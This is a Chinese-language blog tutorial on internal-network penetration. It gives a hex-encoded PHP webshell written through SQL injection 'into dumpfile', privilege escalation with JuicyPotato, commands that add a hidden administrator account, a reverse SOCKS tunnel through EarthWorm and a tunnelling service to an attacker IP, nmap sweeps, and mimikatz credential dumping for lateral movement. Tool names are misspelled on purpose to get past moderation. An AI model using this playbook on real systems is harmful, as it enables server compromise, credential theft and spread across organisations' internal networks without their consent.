内网渗透(上)

每日一句:			
		做安全,有一定实力的话。找工作,待遇不好就不要去,不要委屈求全。
		世界上好地方那么多,不出去看看的话,你就以为这就是世界
		
		另外,二进制其实也不是多值钱的玩意,没必要觉得多深奥

声明:
内网渗透是非常危险的,没有明确的授权不要做。切记切记
本篇文章用到的软件100%报毒,最好在虚拟机用,不怕后门的可以在本机运行

一、win提升权限

(一),sql注入可以干什么?
	~获取数据、读取文件、影响数据库
	~通过写一句马从而getshell

(二),sql语句:导出文件
	~into outfile
	~into dumpfile
	
	举例:
		语句:
			select 1,2,3 into dumpfile 'C:\\www\\123.txt'
		作用:
			在“c:\www\”目录下新建123.txt。
			其内容为“123”
	
	进阶:通过此方式写一句马
		语句:
			select 1,2'<?php eval($_REQUEST[8])?>' into dumpfile 'C:\\www\\123.php'
		作用:
			在“c:\www”目录下新建123.php文件,内容为一句马
			
	注意:
		1,这个函数(into dumpfile)在mysql高版本是默认不开启的
		   类似的还有load_file(),一般这两个函数要开启都会开启
		
		2,如何存在堆叠注入(即可以同时执行多条语句),
		   可以通过日志的方法写webshell。
		
		3,在phpstudy修改默认状态后,需要重启生效
			
		4,在老一点的版本中是可以直接使用的,新版本会报一个1290权限的错误
		
		实战中的语句:
		url ?id=1 union select 1,'一句马内容' into dumpfile "C:\\www\\123.php"
		
			补充:
				(1),这个路径怎么获得?
					通过sql报错注入,使服务器爆出路径
					若爆不出,只能靠猜了。
					当然也可以配合别的攻击手段使爆出绝对路径
				(2),第一次写文件,建议先写一个txt文档,成功后在写php文件
					可以看看自己写到txt的代码有没有问题,避免一些悬学问题
				(3),一句马内容
					若直接写“<?php eval($_REQUEST[8])?>”肯定报错
					因为url栏中“?”一般代表传参  会冲突。
					
				(4)那一句马怎么写?
					将一句马内容16进制编码。即得到:
					“3c3f7068706576616c28245f524551554553545b385d293f3e”
					
					注意:16进制编码会将空格默认去掉,即上边的编码,
						  解码后是这样的:<?phpeval($_REQUEST[8])?>
						  而php中,那个空格是格式,这样的代码是会报错的。
						  
						  怎么办?----->加空格!	(空格的16进制编码是20),
						  即在“3c3f706870”后加“20”。
						  
						  事实上,3c3f706870就是是‘<?php’的编码
		
		综上,完整语句为:
		url ?id=1 union select 1,'3c3f706870206576616c28245f524551554553545b385d293f3e' into dumpfile "C:\\www\\123.php"
				  
				(5),为什么要进行16进制编码?
					URL编码本质就是16进制
				
				(6),上述语句中为什么多加“1”(union select 1,内容)
					这个1,是联合查询中,要和前一个表的字段数相同所补充的格式
					实战中,可能会很多。		至于字段数可以通过“order by”判断出
				
				(7),路径为什么有两个“ \\ ”
					正常路径是:“C:\www\123.txt”。但是这需要转义
					要么路径中用“\\”,要么用“/”否则地路径会与网络路径会发生冲突
				
				(8),有时候sql注入爆不出回显点,可以将前边语句加个“and 1=2”
					正常语句: url id=1 union select 1,2			//不显示回显点
					构造语句: url id=1 and 1=2 union select 1,2	//出现回显点
				
				(9),为什么一句马中的$_REQUEST[8]用数字8
					因为这样的数字传参不用加单引号或者双引号,会简单很多
					建议以后写马的同学用数字传参
(三),权限的提升
		1,当前的权限
			此时我们可以用菜刀连接我们刚刚生成的一句马
			运行虚拟终端,输入“whoami”查看当前权限
			
			一般是游客或者管理员权限(administrator),
			但是在服务器中管理员权限不是最高的,正常可以获取到最高的权限为“系统权限”,即“system”权限
		
		2,如何提权?(即将低权限提升为system权限)
			(1)
				不同服务组件用了不同权限。例如网站权限低,数据库权限高,那么我们就要想办法让其他组件帮我们去做事。再例如:目标及其上运行了一些其他的服务,然后这些服务只能从内部访问,然后我们也可以调用过来用。(例如:FTP|Redis等等)[这个需要一定知识的沉淀、积累,不推荐新手]
				
				举个例子:
				一台服务器两个网站(A、B网站),A网站权限较低,但是B网站较高。
				你拿下了A站但是权限较低,此时你可以通过A网站向B网站写一个马,
				此时你的webshell就会比较高了,这算是一个例子吧
				
				常用cmd命令:
					whoami 			查看当前用户权限
					netstat -ano 	查看本机开放的端口
					tasklist 		查看本机运行的程序[类似于人物管理器]
					systeminfo 		查看计算机信息
				
			(2)利用win的漏洞(最常见手法)
				 原理:查看win打了什么补丁,然后去网上找存在什么样的漏洞,然后找对应的提权工具
				 命令:systeminfo	查看计算机信息
				 步骤:
					(1)
					~systeminfo得到计算机打了哪些补丁后,
					~粘贴在这个网站(http://bugs.hacking8.com/tiquan/),
					~点击查询,会根据你的补丁找到对应的提权exp
						本质是,会避开上述补丁找剩余可利用的exp
					~可以通过编号去这个网站找:https://github.com/SecWiki/windows-kernel-exploits
					~这个网站有很多做好的exe文件,直接上传服务器用就ok了
					
					(2)利用“烂土豆”(万能提权集合exp)进行提权
						官网:https://github.com/ohpe/juicy-potato/releases
						但是官方的很使用相对较为麻烦,本人经常使用的是魔改版
						ps:有需要的直接私信,看到就回复。这个烂土豆100%报毒,使用需要添加信任
						
						命令:			原版烂土豆的使用命令很复杂,直接上魔改版的
						
						比如:JuicyPotato.exe -p "whoami"
						
						在-p里的命令直接是system执行的,
						前提是将这个东西上传到了目标服务器即可
						
						可以将JuicyPotato.exe文件名改为1.exe,这样就可以使用命令时,少些几个字母。
						如:1.exe -p "whoami"
						
					
				补充:多说一点关于后门的问题,很多同学怕下载的东西留有后门,其实一般看看有没有公布源码
					  正常敢于公布源码的大概率是没有后门的
					  另一个就是放在虚拟机运行,这个是相对安全点的方法
					  
					  
				如何判断有没有后门?
				正常就是抓取流量,看看有没有异常偷偷跑的
				
				或者打开cmd,输入:netstat -nb可以看到此时与电脑建立连接的所有应用进程
				权限不足时,以管理员身份运行cmd
				
				学习安全初期被大佬攻击作为肉鸡都是可能的
				
			(3)常用命令(建用户、放到管理员组)
					~在服务器创建用户:
						net user 用户名 密码 /add
					~将某用户放置到管理员组
						net localgroup administrators 用户名 /add
				
			问:接下来我们应该做一些什么?
				这时正常情况就是利用3389端口进行远程连接
			
			问:服务器没有开启3389端口怎么办?
				通过修改服务器的注册表可以打开
				
		3,反向连接突破限制
		
			问题:这时,产生一个问题是目标机器在内网中,你访问不到他的3389怎么办?
			这个地方你要知道,一个网站一般都在目标的内网内,然后他开放的端口,是依靠路由器转发出去的
			
				~用户访问公网IP的一个端口
				~路由器去接收到有人访问这个端口,根据路由器的  端口映射  规则分配到内网机器
				~内网机器收到数据,连接
				
			但是如果转发规则里面 没有我们转发到我们的目标服务器端口的规则  那我们是无法连接到的
			解决方法正常分为两种:
				~黑掉路由器,修改里边的端口转发规则
				~利用反向连接技术,让我们控制的站点来连接我们公网上的一个端口,然后构成反向连接
				
				反向连接:让目标连接我们
				正向链接:我么连接目标
		
				反向连接的前提:
					~内网的服务器可以任意访问公网。当然一般都是可以的,可以ping一下公网IP
					~要有一个公网IP。未满24岁可以去整一个阿里云学生机,性价比很高。9.9月一个月

二、花生.壳巧获得公网IP

	问题:假如没有公网ip,是不是就无计可施了?
	答曰:非也、非也,我们可以利用一些内网穿。透工具(如花生.壳,官网:https://qydev.com/index.html)。
		  但是要明白一件事,省了钱,就一定会多麻烦一些。所谓鱼和熊掌不可兼得
	
			多说一句,不知道提到远cheng控制  同学们有没有想到向日葵等一些商用远a控,从原理上来说
			是可以行的通的,当然这就多提一句,同学们有时间可以自己去摸索一下。
	
	问题:花sheng壳等内网穿。透工具的原理是什么样的?
	答曰:我们的电脑与花生.壳建立一个连接,此时生成一个域名,
		  让目标靶机去访问(连接)花生.壳生成的域名,此时通过花2生壳的桥接作用就连接到了本机
		  最终,我么让服务器通过花生.壳这个中间桥梁反向连接到了本机电脑
				
				本机	<--->		花生.壳		<--->		目标靶机
		  
	问题:如何具体操作上述
	答曰:~注册花生.壳,官网上述有
		  ~点击隧道管理-开通隧道,(因为是学习,没有多大的要求)
		  ~选择免费的就行,填写信息:
			隧道协议勾选tcp,名称随便写,本机端口写127.0.0.1:666(端口可以随便写一个系统没用的就行)
			此时,你的隧道管理处会多一个隧道(自动生成keycode,公网域名)
		  ~根据需要下载一个客户端版本,打开,将隧道管理处的keycode粘贴到客户端
		  ~别的电脑访问生成的公网域名就等于访问你电脑的127.0.0.1:666端口,
		  
		  即完成架桥梁,突破公网内网的限制,但是仅仅可以放出本机一个端口。有条件的话,还是推荐阿里云
		  假如有服务器,别人就可以直接访问到了,也不要上述步骤。而且可以访问到全端口
	
	问题:花生.壳在涉及到隧道时,需要手机接验证码,有没有纯匿名的?
	答曰:有,国外的ngrok,完全匿名。但是速度较慢
	
	其实到此时,若是没什么特别的问题。我们直接通过菜刀等工具将下载的花生.壳软件放到靶机,
	将靶机的3389端口直接放出来,即完成了最初的目标,控制了目标服务器。
	
	问题:若是内网有3台服务器,a机器能访问公网被我们通过花生.壳拿下,但是b,c机器不能访问公网该如何拿下?
	答曰:可以通过一些非正统的方法,如通过a机器继续套娃远cheng控制b与c等等
		  当然本文章既然是讲到了内网,那么就得和大家普及一下正统的内网的纵横方法,
		  不要急,继续往下看		

三、ew内网穿。透端口转发

	介绍官网:http://rootkiter.com/EarthWorm/
	
	ps:
	但是,让人吐血的是  官网竟然不给下载了。
	据开发者本人说“考虑到该工具影响很坏,该工具永久停止更新,如要反馈查杀规则请移”
	简单说,工具很强,危害很大,我不更新了,也不给你们下载了(有需要的朋友可以私信我,包括win、linux、mac)
	
	0. Ew常用的命令
		(1)
			接受代理:	ew(软件名) -s rcsocks -l 8888 -e 9999
			命令解释:	监听9999端口,将获取到的数据转发给8888端口,若接受到数据会在cmd中返回一个ok
			
				不是太懂?
						~9999是我的工资卡,8888是我对象的工资卡
						~当我卡里打入工资的时候,我都主动的将钱转给我对象
						~并给对象一下:“老婆,嘿嘿,我将钱打到你卡里了”
		(2)
			建立反向代理:ew(软件名) -s rssocks -d 1.1.1.1 -e 8888
			命令解释:	将本机反向连接到1.1.1.1的8888端口。这句命令是在目标靶机执行的	
					
				不是太懂?		
						~我恋爱了,正常都是我主动去找女朋友玩,		//即正向连接
						~但是她妈妈最近管的严,我不能再去她家找她玩了。
						~所以我给女友一个手机(ew),
						~约会的前告诉女友,我在“1.1.1.1的8888”这个地方等你
						~女友从家里出来,来找我						//即反向连接
						
						即我们药酱这个ew要上传到目标靶机上,且在靶机执行上述命令
						
			问题:注意的是,这个-d后的参数是IP,而非域名。怎么通过域名得到IP呢?
			答曰:直接cmd中,ping这个域名,就可以看到IP了	
						
	1.首先申请花sheng壳,建立一个tcp的连接协议,
			假设花生.壳生成的域名及其远程端口为:free.aaa.com:4472
			映射(连接)到的本机的端口为:127.0.0.1:6666。			//详细过程上边有,描述很复杂  操作很简单
			
			注意:这个本机映射的端口不能与本电脑已经运行的端口相冲突,很好理解,
				  比如一个端口你的qq已经占用了,你还让花生.壳走这个端口,这肯定会造成冲突。
				  正常的操作是让qq走一个端口,花生.壳走另一个
	
	2.在本机开启监听
			ew_for_win_32.exe(ew的名字) -s rcsocks -l 4545 -e 6666
			//即6666端口收到数据,将数据转给4545端口。同时在终端返回 "ok"
	
	3.通过菜刀将ew上传到目标靶机,最好同时将烂土豆也上传过去。防止执行一些命令权限不够
			~将烂土豆改名为1.exe	ew改名为2.exe	
			~改名字仅仅是因为在菜刀的虚拟终端执行命令时,简化指令
			
	4.在菜刀的虚拟终端执行命令,连接花6生壳
			~通过 1 中我们知道,花生.壳的域名为free.aaa.com通过ping我们得知其对应的IP为47.92.102.131
			~靶机通过ew进行反向连接:
				1.exe -p "2.exe -s rssocks -d 47.92.102.131 -e 4472"
	
	5.本机终端会返回“ok”,代表本机与目标靶机通过花a生壳可以直接进行  端口间数据通讯
			此时,就差最后一步,我们就可以对目标靶机进行控制了
			我们只要挂上SOCKS5的代理就可以了,这个东西的原理较为复杂,咱们是搞安全的不用把这个原理搞明白,直接用就ok
	
	6.安装Proxifier,设置SOCKS5代理
			~安装Proxifier(安装包可以私聊我要,或者自己谷歌下载)
			~打开Proxifier,点击配置文件,点击代理服务器,点击编辑
			~地址设置为127.0.0.1,端口设置为4545
	
	7.收获		
			此时我们才算是成功控制了目标靶机,我们在本机浏览器做的任何操作都相当于是在目标靶机上做的操作
			比如,此时我们在浏览器百度“IP”   ;会发现IP地址是目标靶机的IP,而非本机的IP。
			
			这时,我们就可以在自己浏览器直接访问目标靶机的内网了。
			当然,可以访问内网也可以通过3389进行远程连接这个目标靶机了
			
			补充:只不过可能会有一些卡顿,毕竟代理了好几层
			
			
				
	总结过程:
	
						本机4545端口							//设置SOCKS5代理,可访问目标靶机,可通过3389进行远程连接靶机
			
							<--									//将6666端口的数据转给4545
							
						本机6666端口							//通过ew进行端口数据监听与转发
			
							<-->								//本机反向连接花生.壳
							
			花生.壳(域名:free.aaa.com,IP:47.92.102.131,端口为4472)	//提供公网IP,充当桥梁、中间人角色
			
							<-->								//受害靶机反向连接花b生壳
			
						目标靶机(直接执行命令反向连接)		//通过烂土豆、ew进行反向连接

四、探测内网机器

	0.思路
		正常是先探测下内网主机,在探测下主机端口
		在找一找本机里的文件,看看有没有什么发现
		在根据端口去寻找问题,
			例如:
				某内网机器开启了445端口(445端口有个内网大杀器--永恒之蓝)
				开了3389(3389可以尝试爆破登录,或者打Windows rdp漏洞直接拿下)
				
			一般而言,网站都是外紧内送。一旦突进了内网,里面的东西是很脆弱的。
			比如弱密码,一些开发了一半的网站等等
			而且很多内网的机器都没有打永恒之蓝的补丁

	1.条件
		通过3389远程连接成功后,此时就相当于我们多了一个电脑,我们可以进行横扫内网
		
	2.在靶机安装nmap
		~将nmap先压缩一下
		~通过菜刀上传到目标靶机		
				//多说一句,有的大文件菜刀可能会上传失败
				//问:如何知道我们有没有成功上传文件呢?
				  答:直接在菜刀里更新一下文件目录不就好了
		
		~发现菜刀连接失败的话,直接将压缩包  通过  远程桌面连接复制过去
		
		另外,也有一些野的思路,比如在目标靶机装一个qq,通过qq传过去等等
		当然,在这我仅仅是提一下。攻陷一个目标有很多种方法,大家不要思维固化。
		
	3.通过nmap探测C段
		~将上传成功的nmap在目标靶机安装
		~通过ipconfig查看靶机的IP;						//假设是10.0.1.4
		~探测内网机器:nmap 10.0.1.1/24					//就是将10.0.1.1-10.0.1.255探测一遍
				当然这是不太重要的话,简单探测探测。
				比较重要的话,直接将所有的内网IP段全探测了

五、提取本机管理员账号密码

	0.前言
		内网很多情况是这样的,内网很多机器,但是管理员可能就是那么几个人,
		所以各个机器的用户账号密码相同的可能性极高,那么我们如果能获取本机所有用户的密码,
		就可以看到管理员原本设置的密码。
	
	1.介绍一款神器--mimikatz(别名猕猴桃)
		是一款内网渗透中常用的工具,也有人喜欢叫法国神器,因为是法国的本杰明·德尔皮编写创建
				下载地址:https://github.com/gentilkiwi/mimikatz

		因为Windows会把用户的明文密码放在内存里面,
		所以它可以从内存中提取纯文本密码,哈希和kerberos票证。			
				//这个kerberos票据是关于域控的知识,下次在说相关内网
				
		另外windows server 2012及其上就不储存明文,这个时候可以通过修改注册列表的形式开启明文密码显示
		然后,静静等待管理员的访问。管理员什么时候访问,什么时候得到明文密码
		
		之前说本文中用到的工具报毒,也主要是因为这个东西。
		
	2.mimikatz的两条命令
			privilege::debug 提升权限
			
			sekurlsa::logonpasswords 抓取密码
			
		使用方法:
				打开mimikatz,在菜单栏右击,
				选择编辑,粘贴
		
		报错处理:
				以管理员身份运行该软件
				尝试重新打开在运行试试
				可能是版本错了,32位系统就用32的,64就用64的
				
		
		说明:	这个mimikatz是去电脑内存搞事情,所以要很高的权限。
				而权限,system并不是最高的。在此之上还有很多乱七八糟的权限
				只是对初学者用的比较少,我们先不要细究
				
				而mimikatz是去内存搞事情,所以要提升权限,
					即先执行权限提升的命令
					然后在执行抓取密码的命令
					
					
	3.搞一搞内网中别的机器
		如我们通过nmap探测到内网中一个10.0.1.5这个机器
		~我们就可以通过已经连接的靶机A去	连接这个新的机器B
		~或者我们已经通过SOCKS5在本机 在开一个远程桌面连接就可以用在A机器获取的密码去连接B机器
		
		
	总结:
			~已经远程连接到靶机A机器
			~用mimikatz抓取A机器上的所有账号与密码
			~因为内网中的机器绝大多数的账号密码都相同
			~我们就可以用A机器上得到的账号密码去远程连接内网中的B机器、C机器等等
			
			~而B机器、C机器的内网IP,我们也可以通过A机器上的nmap得到
	
			
在下一篇文章中,在主要介绍一下域控及其票据相关知识
有些内容有错别字,因为平台的审核太严格。不过大家应该可以看懂,毕竟内网渗透太敏感了,在次感谢审核人员通过
	如:花生.壳			--->		其实是huashengke;
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章